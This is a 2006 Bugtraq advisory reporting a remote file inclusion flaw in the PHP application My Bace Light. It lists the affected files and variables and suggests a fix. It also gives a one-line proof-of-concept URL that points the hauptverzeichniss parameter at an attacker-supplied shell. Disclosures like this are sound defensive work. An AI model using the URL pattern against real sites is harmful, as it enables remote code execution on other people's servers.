bugtraq - MyBace Light (hauptverzeichniss) Remote File Inclusion

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Date: 1 Sep 2006 19:43:30 -0000
From: philipp.niedziela@....de
To: bugtraq@...urityfocus.com
Subject: MyBace Light (hauptverzeichniss) Remote File Inclusion

+--------------------------------------------------------------------
+
+ MyBace Light (hauptverzeichniss) Remote File Inclusion
+
+ Original advisory:
+ http://www.bb-pcsecurity.de/Websecurity/384/MyBace_Light_(hauptverzeichniss)_Remote_File_Inclusion.htm
+--------------------------------------------------------------------
+
+ Affected Software .: My Bace Light
+ Venedor ...........: http://www.onlinemacher.de/
+ Class .............: Remote File Inclusion
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: Philipp Niedziela
+ Contact ...........: webmaster[at]bb-pcsecurity[.]de
+
+--------------------------------------------------------------------
+
+ Affected Files:
+ includes/login_check.php
+ var: $hauptverzeichniss
+
+ admin/login/content/user_daten.php
+ var: $template_back
+
+--------------------------------------------------------------------
+
+ $hauptverzeichniss & $template_back is not properly sanitized before being used
+
+--------------------------------------------------------------------
+
+ Solution:
+ Deny direct access to these files using a .htaccess-file
+ or modify code:
+
+ if(!isset($_REQUEST['hauptverzeichniss']) && !isset($_GET['hauptverzeichniss'])
+ && !isset($_POST['hauptverzeichniss'])){
+ //code of org. *.php
+ }
+ else {
+ echo "You cannot access this file directly.";
+ die();
+ }
+
+--------------------------------------------------------------------
+
+ PoC:
+
+ http://[target]/includes/login_check.php?hauptverzeichniss=[shell]
+
+--------------------------------------------------------------------
+
+ Notice: I've tried to contact venedor 3 weeks ago, but no answer yet...
+
+
+ Greets: /str0ke
+
+-------------------------[ E O F ]----------------------------------